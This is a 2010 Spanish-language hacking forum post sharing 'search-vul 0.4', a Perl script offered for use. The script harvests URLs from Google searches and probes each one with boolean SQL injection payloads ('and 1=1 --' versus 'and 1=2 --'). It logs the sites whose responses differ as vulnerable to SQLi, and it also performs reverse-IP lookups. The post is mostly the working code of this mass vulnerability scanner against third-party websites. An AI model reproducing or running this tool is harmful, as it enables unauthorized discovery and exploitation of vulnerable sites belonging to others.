elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 03:54  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  [Tool][Perl] search-vul 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Tool][Perl] search-vul 0.4  (Leído 1,183 veces)
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
[Tool][Perl] search-vul 0.4
« en: 7 Enero 2010, 20:58 »

Bueno, aquí mi tools, la versión 0.4 de search-vul, si hay dudas de su uso o otra pregunta, pueden contestar este post.



Código
=pod
Autor:   Yoyahack
name:    search-vul
verion:  0.4
Mail:    yoyahack@undersecurity.net
Web:     www.yoyahack.blogspot.com
Webs:    www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz:   S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
                        _                      _
___  ___  __ _ _ __ ___| |__      __   ___   _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|
 
=cut

 
#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

 
#Modulos
 
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;
 
#Code
 
print q(
·············································
                Code
                 by
              Yoyahack
        www.yoyahack.blogspot.com
    www.undersecurity.net & www.mitm.cl
·············································
);
 
print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);
 
#Opciones
GetOptions("google=s" => \$google,
          "googles=s" => \$googles,
          "vul=s" => \$vul,                
          "dns=s" => \$dns,
          "num=s" => \$num,
          "help" => \$help);
 
if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}
 
sub google{
 
###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);
 
###########################################################
   while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
 
       my $enlace = $1;
       open (SE,">>busqueda.txt");
       print SE "$enlace\n";
       close (SE);
       print "$enlace\n";
                                                                   }
          }
 
 
 
sub googles{
 
###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
              {
               chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);
 
###########################################################
   while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
   my $enlace1 = $1;
 
   open (SS,">>googles.txt");
   print SS "$enlace1\n";
   close (SS);
   print "$enlace1\n";
                                                                      }
             }
          }
 
 
sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
              {
              chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
     while ($pag =~ m/\&/g) {
           $regex = $pag;
           substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
           my $tofo3  = scalar(split("\n",get($regex)));
           $regex2 = $pag;
           substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
           my $tofo4  = scalar(split("\n",get($regex2)));
           if($tofo3 ne $tofo4 || $tofo != $todo){
               open (VUL,">>vurl.txt");
               print VUL "$pag\n";
               close (SS);
                                                 }
                            }
                  }      
##########################################################
my $fuente = get($iny1);
my $tofo  = scalar(split("\n",$fuente));
 
my $result = get($iny2);
my $todo  = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
   open (VUL,">>vurl.txt");
   print VUL q(
·············································
                Code
                 by
              Yoyahack
        www.yoyahack.blogspot.com
    www.undersecurity.net & www.mitm.cl
·············································
 
);
   print VUL "$pag\n";
   close (SS);
   print "[+]$pag es vurnerable a SQLI\n";
   print "!guardada exitosamente\n";
  } else {
            print "\n$pag no es vurnerable a SQLI\n";
        }
         }              
              }
 
sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");
 
while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){
 
   open (DNS,">>reverse_dns.txt");
   print DNS "$1\n";
   close (DNS);
   print "$1\n";
 
}
if ($result =~ /valid IP address/) {
 
   print "Not found\n";
}
}
 
 
sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>
 
Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>
 
perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>
 
perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>
 
perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}
 
sub erase{
$os = "$^O";
if ("linux" == "$os"){
  return system('clear');
   }else{
return system('cls');}
}
 
sub get {
   my $pagina = $_[0];
 
   my $ua = new LWP::UserAgent;
   $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
 
   my $busqueda = new HTTP::Request GET => $pagina;
   my $resultado = $ua->request($busqueda);
   $ua->timeout(7) || die "Conecction faield";
   my $result = $resultado->content();
}

Mirror:
http://undersec.pastebin.com/f5c7ce4f9
http://codepad.org/Xwe6N7MO

Saludos.
« Última modificación: 7 Enero 2010, 20:59 por yoyahack » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Iframe DDos Attack Tool
Scripting
Doddy 0 297 Último mensaje 7 Octubre 2011, 01:15
por Doddy
[Perl] Search MD5
Scripting
Doddy 0 139 Último mensaje 7 Octubre 2011, 15:56
por Doddy
[Perl] Search in google for scan SQLI
Scripting
Doddy 1 551 Último mensaje 4 Noviembre 2011, 17:48
por BiteAciD
[Perl] BingHack Tool 0.1
Scripting
Doddy 0 19 Último mensaje 26 Mayo 2012, 16:02
por Doddy
[Perl Tk] BingHack Tool 0.1
Scripting
Doddy 8 164 Último mensaje Ayer a las 00:41
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines